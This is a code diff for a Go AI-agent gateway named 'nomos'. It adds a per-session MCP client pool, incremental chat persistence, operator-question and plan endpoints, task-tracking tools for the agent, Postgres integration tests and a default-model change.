// Idle sweep for stalled goal-bearing tasks (fix 2+3 of
// plans/2026-07-11-task-completion-safety-net.md) — a coarser,
// slower-ticking counterpart to the continuation worker above.
safego.Go("nomos:idle-sweep-worker", func() { nAgent.runIdleSweepWorker(ctx) })
safego.Go("nomos:mcp-pool-sweeper", func() {
ticker := time.NewTicker(5 * time.Minute)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
clientPool.sweep()
}
}
})
mux := http.NewServeMux()
mux.HandleFunc("/healthz", func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(200)
w.Write([]byte("ok"))
})
mux.HandleFunc("/query", func(w http.ResponseWriter, r *http.Request) {
handleQuery(w, r, client, agentSlug, mcpURL)
handleQuery(w, r, clientPool, agentSlug, mcpURL)
})
mux.HandleFunc("/chat", func(w http.ResponseWriter, r *http.Request) {
handleChat(w, r, nAgent, st)
@@ -78,7 +113,7 @@ func main() {
handleSessionsList(w, r, st)
})
mux.HandleFunc("/sessions/", func(w http.ResponseWriter, r *http.Request) {
handleSessionDetail(w, r, st)
handleSessionDetail(w, r, st, nAgent)
})
addr := os.Getenv("NOMOS_LISTEN")
@@ -87,17 +122,17 @@ func main() {
}
srv := &http.Server{Addr: addr, Handler: mux}
go func() {
safego.Go("nomos:http-server", func() {
slog.Info("nomos: gateway listening", "addr", addr, "mcp", mcpURL, "db", databaseURL != "")
if err := srv.ListenAndServe(); err != http.ErrServerClosed {
slog.Error("nomos: serve", "error", err)
}
}()
})
<-ctx.Done()
slog.Info("nomos: shutting down")
srv.Shutdown(context.Background())
client.close()
clientPool.closeAll()
default:
fmt.Fprintf(os.Stderr, "unknown command: %s\n", os.Args[1])
@@ -144,9 +179,21 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
ctx := r.Context()
sessionID := req.SessionID
// pctx (persistence context) is deliberately context.Background(), not
// ctx/r.Context(), for every DB write in this handler — ctx cancels the
// instant the client disconnects (Stop button, tab close, network blip),
// and a write made with an already-cancelled context fails. Before this
// fix, the assistant message was only ever saved ONCE, at the very end,
// using ctx — so a disconnect mid-turn silently lost the ENTIRE turn's
// tool-call history from the persisted transcript, even though real work
// (executions launched, knowledge written) had already happened
// server-side. The agent's own work (a.chat below) still correctly stops
// when ctx cancels — this only changes what happens to persistence.
pctx := context.Background()
if sessionID == "" {
title := truncate(req.Message, 80)
sess, err := st.createSession(ctx, title)
sess, err := st.createSession(pctx, title)
if err != nil {
slog.Error("nomos: create session", "error", err)
sessionID = "ephemeral"
@@ -154,25 +201,55 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
sessionID = sess.ID
}
} else {
st.touchSession(ctx, sessionID)
st.touchSession(pctx, sessionID)
}
slog.Info("nomos: chat", "session", sessionID, "message", truncate(req.Message, 100))
userMsg, _ := json.Marshal(map[string]any{"role": "user", "text": req.Message})
st.saveMessage(ctx, sessionID, "user", userMsg)
st.saveMessage(pctx, sessionID, "user", userMsg)
// If this task has a pending operator question, the incoming message IS the
// answer — close it so the panel clears. No separate resume needed: this
// chat turn is the resume, and the agent sees the question + answer in its
// replayed history.
if qid := st.openQuestionID(pctx, sessionID); qid != "" {
st.answerQuestion(pctx, sessionID, qid, req.Message)
}
sseEvent(w, flusher, agentEvent{Type: "session", Data: sessionID, SessionID: sessionID})
toolCalls := []map[string]any{}
var finalText string
// Incremental persistence, mirroring resumeSession's existing
// placeholder+update pattern (continue.go): insert a placeholder now,
// update the SAME row after every tool call, so whatever happened before
// an abort is never lost — only what hadn't happened yet is.
placeholder, _ := json.Marshal(map[string]any{"role": "assistant", "text": ""})
msgID, err := st.insertMessageReturningID(pctx, sessionID, "assistant", placeholder)
if err != nil {
slog.Error("nomos: chat placeholder insert failed", "session", sessionID, "error", err)
}
persist := func() {
if msgID == uuid.Nil {
return
}
body, _ := json.Marshal(map[string]any{
"role": "assistant",
"text": finalText,
"tool_calls": toolCalls,
})
st.updateMessage(pctx, msgID, body)
}
a.chat(ctx, sessionID, req.Message, func(ev agentEvent) {
if ev.Type == "tool_use" || ev.Type == "tool_result" {
if m, ok := ev.Data.(map[string]any); ok {
m["type"] = ev.Type
toolCalls = append(toolCalls, m)
}
persist() // live: survives even if the client disconnects right after
}
if ev.Type == "text" {
finalText, _ = ev.Data.(string)
@@ -180,12 +257,16 @@ func handleChat(w http.ResponseWriter, r *http.Request, a *agent, st *store) {
sseEvent(w, flusher, ev)
})
assistantMsg, _ := json.Marshal(map[string]any{
"role": "assistant",
"text": finalText,
"tool_calls": toolCalls,
})
st.saveMessage(ctx, sessionID, "assistant", assistantMsg)
persist() // final state — same row, updated one last time with the concluding text
// Generate a meaningful title from the assistant's first answer
// instead of reusing the raw user message for every session.
if finalText != "" && sessionID != "ephemeral" {
title := truncate(finalText, 80)
if title != "" {
st.updateSessionTitle(pctx, sessionID, title)
}
}
}
func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
@@ -208,18 +289,66 @@ func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
json.NewEncoder(w).Encode(map[string]any{"sessions": sessions})
}
func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store) {
func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *agent) {
if st == nil {
http.Error(w, "not found", 404)
return
}
id := strings.TrimPrefix(r.URL.Path, "/sessions/")
rest := strings.TrimPrefix(r.URL.Path, "/sessions/")
parts := strings.Split(rest, "/")
id := parts[0]
if id == "" {
http.Error(w, "session id required", 400)
return
}
// POST /sessions/{id}/questions/{qid}/answer — the operator answers a
// pinned question from the context panel; resume the agent with the answer.
if len(parts) == 4 && parts[1] == "questions" && parts[3] == "answer" {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", 405)
return
}
handleAnswerQuestion(w, r, st, a, id, parts[2])
return
}
// GET /sessions/{id}/plan and /sessions/{id}/questions — REST hydration for
// the context panel when it first opens a task; live events carry deltas
// from there.
if len(parts) == 2 && r.Method == http.MethodGet {
switch parts[1] {
case "plan":
steps, err := st.getPlanSteps(r.Context(), id)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"steps": steps})
return
case "questions":
questions, err := st.getQuestions(r.Context(), id)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"questions": questions})
return
}
}
switch r.Method {
case http.MethodDelete:
if err := st.deleteSession(r.Context(), id); err != nil {
http.Error(w, err.Error(), 500)
return
}
w.WriteHeader(204)
case http.MethodGet:
messages, err := st.getMessages(r.Context(), id)
if err != nil {
http.Error(w, err.Error(), 500)
@@ -227,9 +356,37 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store) {
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "messages": messages})
default:
http.Error(w, "method not allowed", 405)
}
}
func handleQuery(w http.ResponseWriter, r *http.Request, client *mcpClient, agentSlug, mcpURL string) {
// handleAnswerQuestion records the operator's answer to a pinned question and
// resumes the agent in the background with that answer injected. Returns 202 —
// the agent's response lands via the normal message-polling path, not this POST.
func handleAnswerQuestion(w http.ResponseWriter, r *http.Request, st *store, a *agent, sessionID, questionID string) {
var req struct {
Answer string `json:"answer"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || strings.TrimSpace(req.Answer) == "" {
http.Error(w, "answer is required", 400)
return
}
prompt, _, _ := st.getQuestion(r.Context(), questionID)
if err := st.answerQuestion(r.Context(), sessionID, questionID, req.Answer); err != nil {
http.Error(w, err.Error(), 500)
return
}
if a != nil {
note := fmt.Sprintf("[System: the operator answered your question %q with: %q. "+
"Continue the task from here — do not re-ask.]", prompt, req.Answer)
safego.Go("nomos:resume-session", func() { a.resumeSession(context.Background(), sessionID, note) })
}
w.WriteHeader(202)
}
func handleQuery(w http.ResponseWriter, r *http.Request, pool *mcpClientPool, agentSlug, mcpURL string) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", 405)
return
@@ -245,6 +402,16 @@ func handleQuery(w http.ResponseWriter, r *http.Request, client *mcpClient, agen
return
}
// The structured /query endpoint is stateless/session-less — "query" is a
// fixed pool key (not a real session id) so repeated calls reuse one
// dedicated connection instead of paying a fresh MCP handshake every time,
// while still never sharing a connection with an actual chat task.
client, err := pool.get("query")
if err != nil {
http.Error(w, "mcp unavailable: "+err.Error(), 502)
return
}
start := time.Now()
if req.Tool != "" {
@@ -318,7 +485,19 @@ type mcpClient struct {
sessionID string
http *http.Client
nextID int
mu sync.Mutex // MCP is one stateful session; serialize concurrent calls
mu sync.Mutex // this client is one stateful MCP session; serialize ITS OWN calls
// toolsCache holds the last tools/list result. The tool list is static
// for the lifetime of one MCP connection — it only changes when the api
// process (re)registers tools, i.e. on a restart, which this client
// already detects and reacts to via reconnectLocked. Without this,
// buildTools (called at the start of EVERY chat turn, including every
// auto-continuation resume) paid a full tools/list round-trip every
// single time for a list that's almost always identical to the last one.
// Guarded separately from mu (not reused) so a cache check never
// contends with an in-flight doRequest call for a different method.
toolsMu sync.Mutex
toolsCache []toolDef
}
func newMCPClient(baseURL string) (*mcpClient, error) {
@@ -378,6 +557,12 @@ func (c *mcpClient) doRequest(method string, params map[string]any) (*mcpJSONRPC
// reconnectLocked re-initializes the MCP session. The caller must hold c.mu.
func (c *mcpClient) reconnectLocked() error {
c.sessionID = ""
// A reconnect means the api process was restarted (or forgot us) — its
// tool registration may have changed, so the cached list is no longer
// trustworthy.
c.toolsMu.Lock()
c.toolsCache = nil
c.toolsMu.Unlock()
resp, err := c.send("initialize", map[string]any{
"protocolVersion": "2024-11-05",
"capabilities": map[string]any{},
@@ -518,3 +703,106 @@ func (c *mcpClient) listTools() ([]string, error) {
func (c *mcpClient) close() {
}
// ─── Per-session MCP client pool ────────────────────────────────────────
//
// A single shared mcpClient serializes EVERY tool call across EVERY
// concurrently-running task through one mutex (see mcpClient.mu) — `run`
// executes its SSH command synchronously inside that lock and is capped at
// up to 10 minutes, so one task mid-`run` stalled every other task's tool
// calls, even trivial reads, behind it. The MCP *server* has no per-
// connection state to protect (newServer in internal/mcp/server.go returns
// one shared *mcp.Server instance whose tool handlers close only over the DB
// pool, which is already safe for concurrent use) — the mutex existed purely
// because the *client* reused one stateful transport session, not because
// the server needed it. Giving each task's own session its own client
// removes the cross-task serialization entirely: a task's own tool calls
// stay sequential (which they already are — the agent loop calls tools one
// at a time within a turn), but no longer block anyone else's.
type mcpClientPool struct {
baseURL string
mu sync.Mutex
clients map[string]*pooledMCPClient
}
type pooledMCPClient struct {
client *mcpClient
lastUsed time.Time
}
func newMCPClientPool(baseURL string) *mcpClientPool {
return &mcpClientPool{baseURL: baseURL, clients: make(map[string]*pooledMCPClient)}
}
// get returns the client for sessionID, creating and initializing one (a
// real MCP handshake) on first use. Session ids that don't identify a real
// persisted conversation ("" / "ephemeral", the no-DB-store path; "query",
// the structured /query endpoint) still get exactly one dedicated,
// reused client each via the same map — just keyed on a fixed string instead
// of a real session id — so that traffic doesn't pay a fresh handshake per
// request while still never sharing a connection with an actual task.
func (p *mcpClientPool) get(sessionID string) (*mcpClient, error) {
key := sessionID
if key == "" {
key = "ephemeral"
}
p.mu.Lock()
if pc, ok := p.clients[key]; ok {
pc.lastUsed = time.Now()
p.mu.Unlock()
return pc.client, nil
}
p.mu.Unlock()
// Initialize outside the lock — it's a network round-trip, and holding
// the pool mutex for it would serialize unrelated sessions' first calls
// behind each other, undermining the whole point of this pool.
c, err := newMCPClient(p.baseURL)
if err != nil {
return nil, err
}
p.mu.Lock()
// Another goroutine may have created one for the same key while we were
// initializing (two of this session's tool calls racing on a cold
// start); keep whichever won, close out the loser's connection (a no-op
// today, but future-proof if mcpClient.close ever does real teardown).
if existing, ok := p.clients[key]; ok {
p.mu.Unlock()
c.close()
return existing.client, nil
}
p.clients[key] = &pooledMCPClient{client: c, lastUsed: time.Now()}
p.mu.Unlock()
return c, nil
}
// mcpClientIdleTimeout is how long an idle session's MCP client is kept
// before eviction — long enough to outlive a single slow `run` (capped at 10
// minutes server-side) plus normal think-time between a task's tool calls,
// short enough not to accumulate one abandoned connection per finished task
// forever.
const mcpClientIdleTimeout = 20 * time.Minute
// sweep evicts clients idle past mcpClientIdleTimeout. Call on a ticker.
func (p *mcpClientPool) sweep() {
cutoff := time.Now().Add(-mcpClientIdleTimeout)
p.mu.Lock()
defer p.mu.Unlock()
for key, pc := range p.clients {
if pc.lastUsed.Before(cutoff) {
pc.client.close()
delete(p.clients, key)
}
}
}
func (p *mcpClientPool) closeAll() {
p.mu.Lock()
defer p.mu.Unlock()
for key, pc := range p.clients {
pc.client.close()
delete(p.clients, key)
}
}

File diff suppressed because it is too large Load Diff

238
cmd/nomos/store_test.go Normal file
View File

@@ -0,0 +1,238 @@
package main
// Integration tests against a real Postgres, mirroring
// internal/db/integration_test.go's pattern: guarded by
// OIKOS_TEST_DATABASE_URL (skipped when unset), throwaway database per run,
// full migrations applied, dropped on cleanup. Run with:
//
// docker compose up -d postgres
// OIKOS_TEST_DATABASE_URL="postgres://oikos:oikos_dev@localhost:5432/oikos?sslmode=disable" go test ./cmd/nomos/
import (
"context"
"fmt"
"math/rand"
"os"
"strings"
"testing"
"github.com/dtoro/oikos/internal/db"
"github.com/jackc/pgx/v5"
)
// newTestStore creates a throwaway, fully-migrated database and returns a
// *store connected to it, cleaned up (including a matching task:<session>
// entity type in the ontology, needed by createTaskEntity/proposePlan tests)
// via t.Cleanup.
func newTestStore(t *testing.T) *store {
t.Helper()
baseURL := os.Getenv("OIKOS_TEST_DATABASE_URL")
if baseURL == "" {
t.Skip("OIKOS_TEST_DATABASE_URL not set — skipping integration test")
}
ctx := context.Background()
admin, err := pgx.Connect(ctx, baseURL)
if err != nil {
t.Fatalf("connect admin: %v", err)
}
dbName := fmt.Sprintf("oikos_test_nomos_%08x", rand.Int63())
if _, err := admin.Exec(ctx, "CREATE DATABASE "+dbName); err != nil {
admin.Close(ctx)
t.Fatalf("create test db: %v", err)
}
admin.Close(ctx)
testURL := swapTestDatabase(baseURL, dbName)
pool, err := db.New(ctx, testURL)
if err != nil {
t.Fatalf("connect test db: %v", err)
}
t.Cleanup(func() {
pool.Close()
admin, err := pgx.Connect(ctx, baseURL)
if err == nil {
admin.Exec(ctx, "DROP DATABASE IF EXISTS "+dbName+" WITH (FORCE)")
admin.Close(ctx)
}
})
if err := pool.Migrate(ctx); err != nil {
t.Fatalf("migrate: %v", err)
}
// session_plan_steps/session_questions tests don't need the ontology
// seed, but createTaskEntity's INSERT INTO entities (type='task') has an
// FK to entity_types — seed the minimal rows it needs directly rather
// than pulling in the full seeds/ontology.yaml ingest path.
if _, err := pool.Exec(ctx, `
INSERT INTO entity_types (name, domain, layer) VALUES ('entity', 'meta', 'meta')
ON CONFLICT DO NOTHING;
INSERT INTO entity_types (name, parent_type, domain, layer) VALUES ('task', 'entity', 'cognition', 'cognition')
ON CONFLICT DO NOTHING;`); err != nil {
t.Fatalf("seed minimal ontology: %v", err)
}
return &store{pool: pool.Pool}
}
func swapTestDatabase(url, dbName string) string {
qi := strings.Index(url, "?")
params, base := "", url
if qi >= 0 {
params = url[qi:]
base = url[:qi]
}
si := strings.LastIndex(base, "/")
return base[:si+1] + dbName + params
}
// TestGetRecentMessages_Truncation is the concrete proof for fix A2 of
// plans/2026-07-11-nomos-agent-code-review.md: chatWith used to replay a
// session's ENTIRE history on every turn with no bound. getRecentMessages
// caps that; this test checks both sides — under the limit, nothing is
// dropped and truncated=false; over it, only the most recent `limit` come
// back, in chronological order, with truncated=true.
func TestGetRecentMessages_Truncation(t *testing.T) {
s := newTestStore(t)
ctx := context.Background()
sess, err := s.createSession(ctx, "history window test")
if err != nil {
t.Fatalf("createSession: %v", err)
}
const total = 35
const limit = 30
for i := 0; i < total; i++ {
role := "user"
if i%2 == 1 {
role = "assistant"
}
body := fmt.Appendf(nil, `{"role":%q,"text":"msg-%d"}`, role, i)
if err := s.saveMessage(ctx, sess.ID, role, body); err != nil {
t.Fatalf("saveMessage %d: %v", i, err)
}
}
msgs, truncated, err := s.getRecentMessages(ctx, sess.ID, limit)
if err != nil {
t.Fatalf("getRecentMessages: %v", err)
}
if !truncated {
t.Errorf("truncated = false, want true (%d messages > limit %d)", total, limit)
}
if len(msgs) != limit {
t.Fatalf("got %d messages, want %d", len(msgs), limit)
}
// Chronological order: the oldest of the RETAINED messages should be the
// (total-limit)-th one saved (msg-5, since msg-0..4 were dropped), and
// the last should be the most recently saved (msg-34).
wantFirst := fmt.Sprintf("msg-%d", total-limit)
wantLast := fmt.Sprintf("msg-%d", total-1)
if got := extractText(msgs[0].Content); got != wantFirst {
t.Errorf("first retained message = %q, want %q", got, wantFirst)
}
if got := extractText(msgs[len(msgs)-1].Content); got != wantLast {
t.Errorf("last retained message = %q, want %q", got, wantLast)
}
// Under the limit: nothing dropped.
sess2, err := s.createSession(ctx, "small session")
if err != nil {
t.Fatalf("createSession: %v", err)
}
for i := 0; i < 5; i++ {
body := fmt.Appendf(nil, `{"role":"user","text":"msg-%d"}`, i)
if err := s.saveMessage(ctx, sess2.ID, "user", body); err != nil {
t.Fatalf("saveMessage: %v", err)
}
}
msgs2, truncated2, err := s.getRecentMessages(ctx, sess2.ID, limit)
if err != nil {
t.Fatalf("getRecentMessages (small): %v", err)
}
if truncated2 {
t.Errorf("truncated = true for a 5-message session under a %d limit, want false", limit)
}
if len(msgs2) != 5 {
t.Errorf("got %d messages, want 5", len(msgs2))
}
}
// TestProposePlan_AppendVsReplace is the concrete proof for the plan-append
// fix (commit 5384499, "plan panel showed only the latest step, not the full
// plan"): proposePlan must REPLACE the step list only while every existing
// step is still 'pending' (a genuine pre-execution revision), and APPEND
// once any step has started — otherwise a model that calls propose_plan once
// per step (rather than once with the full list, as instructed) erases every
// already-completed step each time, and the operator only ever sees the
// latest single step instead of real progress.
func TestProposePlan_AppendVsReplace(t *testing.T) {
s := newTestStore(t)
ctx := context.Background()
sess, err := s.createSession(ctx, "plan append test")
if err != nil {
t.Fatalf("createSession: %v", err)
}
// First call: no steps exist yet — must persist as-is (replace mode,
// trivially: nothing to replace).
out1, err := s.proposePlan(ctx, sess.ID, []planStepInput{{Title: "Step A"}})
if err != nil {
t.Fatalf("proposePlan #1: %v", err)
}
if len(out1) != 1 || out1[0]["seq"] != 1 {
t.Fatalf("proposePlan #1 = %+v, want one step at seq 1", out1)
}
// Mark step 1 as started.
if err := s.updatePlanStep(ctx, sess.ID, 1, "running", ""); err != nil {
t.Fatalf("updatePlanStep: %v", err)
}
// Second call, simulating a model that (against instructions) calls
// propose_plan again per-step instead of once with the full list: since
// step 1 has left 'pending', this MUST append, not replace.
out2, err := s.proposePlan(ctx, sess.ID, []planStepInput{{Title: "Step B"}})
if err != nil {
t.Fatalf("proposePlan #2: %v", err)
}
if len(out2) != 1 || out2[0]["seq"] != 2 {
t.Fatalf("proposePlan #2 = %+v, want one step at seq 2 (appended after the running step 1)", out2)
}
steps, err := s.getPlanSteps(ctx, sess.ID)
if err != nil {
t.Fatalf("getPlanSteps: %v", err)
}
if len(steps) != 2 {
t.Fatalf("got %d persisted steps, want 2 (step 1 must survive the second propose_plan call)", len(steps))
}
if steps[0].Title != "Step A" || steps[0].Status != "running" {
t.Errorf("step 1 = %+v, want Step A still running (not erased)", steps[0])
}
if steps[1].Title != "Step B" || steps[1].Status != "pending" {
t.Errorf("step 2 = %+v, want Step B pending", steps[1])
}
// Third call BEFORE anything runs on a fresh session: every step is
// still pending, so this must REPLACE, not append.
sess2, err := s.createSession(ctx, "plan replace test")
if err != nil {
t.Fatalf("createSession: %v", err)
}
if _, err := s.proposePlan(ctx, sess2.ID, []planStepInput{{Title: "Original"}}); err != nil {
t.Fatalf("proposePlan (initial): %v", err)
}
if _, err := s.proposePlan(ctx, sess2.ID, []planStepInput{{Title: "Revised"}}); err != nil {
t.Fatalf("proposePlan (revise before execution): %v", err)
}
revisedSteps, err := s.getPlanSteps(ctx, sess2.ID)
if err != nil {
t.Fatalf("getPlanSteps: %v", err)
}
if len(revisedSteps) != 1 || revisedSteps[0].Title != "Revised" {
t.Fatalf("got %+v, want a single 'Revised' step (pre-execution revise must replace, not append)", revisedSteps)
}
}

293
cmd/nomos/tasks.go Normal file
View File

@@ -0,0 +1,293 @@
package main
import (
"context"
"fmt"
"log/slog"
"strings"
)
// Task tools are nomos-LOCAL, not MCP tools. They are session-scoped, and the
// shared MCP server (api:8090/mcp) has no session id — so these are handled
// in-process by nomos, which knows the session/task and holds the store.
// buildTools appends these to the model's tool list; the agent loop routes a
// call whose name isTaskTool to handleTaskTool instead of the MCP client.
//
// Phase 3 ships complete_task; set_goal / propose_plan / update_plan_step /
// ask_operator land in later phases through the same mechanism.
func taskToolDefs() []toolDef {
return []toolDef{
{
Name: "set_goal",
Description: "State the goal of this task in one sentence, as early as you " +
"can. This is what the task is trying to achieve (e.g. 'Deploy TypeType " +
"as an LXC on strong'); it heads the task on the board and the context " +
"panel. Call it once you understand what the operator wants.",
InputSchema: map[string]any{
"type": "object",
"properties": map[string]any{
"goal": map[string]any{"type": "string", "description": "The task's goal, one sentence."},
},
"required": []string{"goal"},
},
},
{
Name: "propose_plan",
Description: "Lay out ALL the ordered steps you'll take to reach the goal, in ONE " +
"call, listing every step end-to-end — not just the next one. The operator " +
"sees the full list in the context panel and watches it progress; a plan " +
"with only 1 step looks broken to them even if you intend to add more later. " +
"Your FIRST step should be research (prior knowledge, relations, blast radius " +
"— not just this target's status) and your LAST step should be writing back " +
"what you learned (update_entity_attributes / create_relationship / " +
"upsert_knowledge) BEFORE complete_task — this is what keeps the knowledge " +
"graph from drifting out of date. " +
"Call this ONCE, before you start executing (after gathering what you need). " +
"As you work, call update_plan_step (not propose_plan again) to advance each " +
"step. Only re-call propose_plan if the plan itself has fundamentally changed " +
"(e.g. a new approach is needed) — in that case new steps are appended after " +
"whatever already ran, never erasing completed work.",
InputSchema: map[string]any{
"type": "object",
"properties": map[string]any{
"steps": map[string]any{
"type": "array",
"description": "Ordered steps, first to last.",
"items": map[string]any{
"type": "object",
"properties": map[string]any{
"title": map[string]any{"type": "string", "description": "Short imperative step title (e.g. 'Create the LXC')."},
"detail": map[string]any{"type": "string", "description": "Optional one-line detail."},
"target_slug": map[string]any{"type": "string", "description": "Optional entity slug this step acts on (e.g. lxc:typetype)."},
},
"required": []string{"title"},
},
},
},
"required": []string{"steps"},
},
},
{
Name: "update_plan_step",
Description: "Advance a plan step as you work it. Set status to 'running' when " +
"you start it (pass execution_id if the step queued a gated action, so " +
"the board can auto-close it when that finishes), then 'done' / 'failed' " +
"/ 'skipped' / 'blocked' when it resolves. Keeps the operator's progress " +
"view honest.",
InputSchema: map[string]any{
"type": "object",
"properties": map[string]any{
"seq": map[string]any{"type": "integer", "description": "1-based step number from propose_plan."},
"status": map[string]any{"type": "string", "enum": []string{"running", "done", "failed", "skipped", "blocked"}, "description": "New status for the step."},
"execution_id": map[string]any{"type": "string", "description": "Optional execution UUID this step is running, so it auto-closes on completion."},
},
"required": []string{"seq", "status"},
},
},
{
Name: "ask_operator",
Description: "Ask the operator a question when you hit a real decision only " +
"they can make — an ambiguous target, a trade-off, missing information, " +
"or a destructive choice not already approved. This pins a structured " +
"question card in the context panel (with your options and the entities " +
"involved) and PAUSES the task until they answer; their answer resumes " +
"you automatically. Do NOT use it for things you can determine yourself " +
"with tools — only for genuine decisions.",
InputSchema: map[string]any{
"type": "object",
"properties": map[string]any{
"prompt": map[string]any{"type": "string", "description": "The question, stated plainly."},
"why": map[string]any{"type": "string", "description": "Why you're asking / what's at stake."},
"options": map[string]any{
"type": "array", "items": map[string]any{"type": "string"},
"description": "The choices, if it's a pick-one decision.",
},
"context_entities": map[string]any{
"type": "array", "items": map[string]any{"type": "string"},
"description": "Entity slugs relevant to the decision (shown as chips).",
},
},
"required": []string{"prompt"},
},
},
{
Name: "complete_task",
Description: "Mark the current task finished. Call this once the goal is " +
"verified done — or when you've genuinely failed or only partially " +
"succeeded. Sets the task's outcome and a one-line summary shown on the " +
"task board. Record what you learned with upsert_knowledge BEFORE " +
"completing, so future tasks on the same entities benefit.",
InputSchema: map[string]any{
"type": "object",
"properties": map[string]any{
"outcome": map[string]any{
"type": "string",
"enum": []string{"success", "failure", "partial"},
"description": "Did the task achieve its goal?",
},
"summary": map[string]any{
"type": "string",
"description": "One line describing the result (shown on the task card).",
},
},
"required": []string{"outcome", "summary"},
},
},
}
}
// toInt coerces a JSON tool-arg number (float64 after unmarshal) to int.
func toInt(v any) int {
switch n := v.(type) {
case float64:
return int(n)
case int:
return n
default:
return 0
}
}
// toStringSlice coerces a JSON tool-arg array to a non-empty []string.
func toStringSlice(v any) []string {
arr, ok := v.([]any)
if !ok {
return nil
}
out := make([]string, 0, len(arr))
for _, e := range arr {
if s, ok := e.(string); ok && strings.TrimSpace(s) != "" {
out = append(out, s)
}
}
return out
}
// handleTaskTool executes a nomos-local task tool. Returns (result, true) if it
// handled the call, or (nil, false) if name is not a local task tool (so the
// caller forwards it to the MCP client).
func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args map[string]any) (any, bool) {
switch name {
case "set_goal":
goal, _ := args["goal"].(string)
if strings.TrimSpace(goal) == "" {
return "error: set_goal needs a goal", true
}
if err := a.store.setGoal(ctx, sessionID, goal); err != nil {
return fmt.Sprintf("error setting goal: %v", err), true
}
return "Goal set: " + goal, true
case "propose_plan":
raw, _ := args["steps"].([]any)
var steps []planStepInput
for _, r := range raw {
m, ok := r.(map[string]any)
if !ok {
continue
}
title, _ := m["title"].(string)
if strings.TrimSpace(title) == "" {
continue
}
detail, _ := m["detail"].(string)
target, _ := m["target_slug"].(string)
steps = append(steps, planStepInput{Title: title, Detail: detail, TargetSlug: target})
}
if len(steps) == 0 {
return "error: propose_plan needs at least one step with a title", true
}
persisted, err := a.store.proposePlan(ctx, sessionID, steps)
if err != nil {
return fmt.Sprintf("error proposing plan: %v", err), true
}
return fmt.Sprintf("Plan set: %d step(s). Execute them now, marking each with update_plan_step as you go.", len(persisted)), true
case "update_plan_step":
seq := toInt(args["seq"])
status, _ := args["status"].(string)
execID, _ := args["execution_id"].(string)
if seq <= 0 || status == "" {
return "error: update_plan_step needs seq (>=1) and status", true
}
if err := a.store.updatePlanStep(ctx, sessionID, seq, status, execID); err != nil {
return fmt.Sprintf("error updating step %d: %v", seq, err), true
}
return fmt.Sprintf("Step %d → %s", seq, status), true
case "ask_operator":
prompt, _ := args["prompt"].(string)
if strings.TrimSpace(prompt) == "" {
return "error: ask_operator needs a prompt", true
}
qctx := map[string]any{}
if why, _ := args["why"].(string); strings.TrimSpace(why) != "" {
qctx["why"] = why
}
if opts := toStringSlice(args["options"]); len(opts) > 0 {
qctx["options"] = opts
}
if ents := toStringSlice(args["context_entities"]); len(ents) > 0 {
qctx["entities"] = ents
}
if _, err := a.store.askOperator(ctx, sessionID, prompt, qctx); err != nil {
return fmt.Sprintf("error posting question: %v", err), true
}
return "Question posted to the operator; the task is paused until they answer. " +
"Do not continue or call more tools — end your turn now and wait for their answer.", true
case "complete_task":
outcome, _ := args["outcome"].(string)
summary, _ := args["summary"].(string)
switch outcome {
case "":
outcome = "success" // no outcome given at all — assume success, the common case
case "success", "failure", "partial":
// valid, use as-is
default:
// The tool schema declares an enum, but a weaker model (or a
// typo) can still send anything — an unrecognized value used to
// persist as-is, silently, with only "failure" special-cased
// (store.completeTask derives status='failed' from it; anything
// else became status='done' regardless of what the value
// actually said). Default to "partial" rather than silently
// treating an unrecognized value as "success" — safer to
// under-claim than over-claim a task's outcome.
slog.Warn("nomos: complete_task got an unrecognized outcome, defaulting to partial",
"session", sessionID, "outcome", outcome)
outcome = "partial"
}
if err := a.store.completeTask(ctx, sessionID, outcome, summary); err != nil {
return fmt.Sprintf("error completing task: %v", err), true
}
return fmt.Sprintf("Task marked %s: %s", outcome, summary), true
default:
return nil, false
}
}
// autoCompleteTrivialTask is the case-1 fix from
// plans/2026-07-11-task-completion-safety-net.md: a session that never
// called set_goal never framed itself as a structured task, so a turn that
// ends with a plain-text answer and no further tool calls IS the task
// ending — but the model consistently skips complete_task for exactly this
// case (confirmed live: 43/50 production sessions were a single trivial
// Q&A exchange, none of which ever reached a terminal status). Rather than
// leave agent_sessions.status stuck at its creation-time default forever,
// close it out mechanically here: no judgment call needed, since SOUL.md
// already treats a one-shot answered question as done by definition.
func (a *agent) autoCompleteTrivialTask(ctx context.Context, sessionID, responseText string) {
summary := strings.TrimSpace(responseText)
summary = strings.SplitN(summary, "\n", 2)[0] // first line only — the board shows one line
const maxLen = 120
if len(summary) > maxLen {
summary = summary[:maxLen] + "…"
}
if summary == "" {
summary = "Answered without further action needed."
}
if err := a.store.completeTask(ctx, sessionID, "success", summary); err != nil {
slog.Error("nomos: auto-complete trivial task failed", "session", sessionID, "error", err)
}
}

View File

@@ -19,7 +19,7 @@ COPY nomos/ /app/nomos/
ENV NOMOS_MCP_URL=http://api:8090/mcp
ENV NOMOS_AGENT_SLUG=agent:nomos
ENV NOMOS_LISTEN=:8092
ENV NOMOS_MODEL=deepseek/deepseek-v4-flash
ENV NOMOS_MODEL=deepseek/deepseek-v4-pro
EXPOSE 8092

View File

@@ -127,7 +127,7 @@ services:
NOMOS_MCP_URL: http://api:8090/mcp
NOMOS_AGENT_SLUG: agent:nomos
OPENROUTER_API_KEY: ${OPENROUTER_API_KEY}
NOMOS_MODEL: ${NOMOS_MODEL:-deepseek/deepseek-v4-flash}
NOMOS_MODEL: ${NOMOS_MODEL:-deepseek/deepseek-v4-pro}
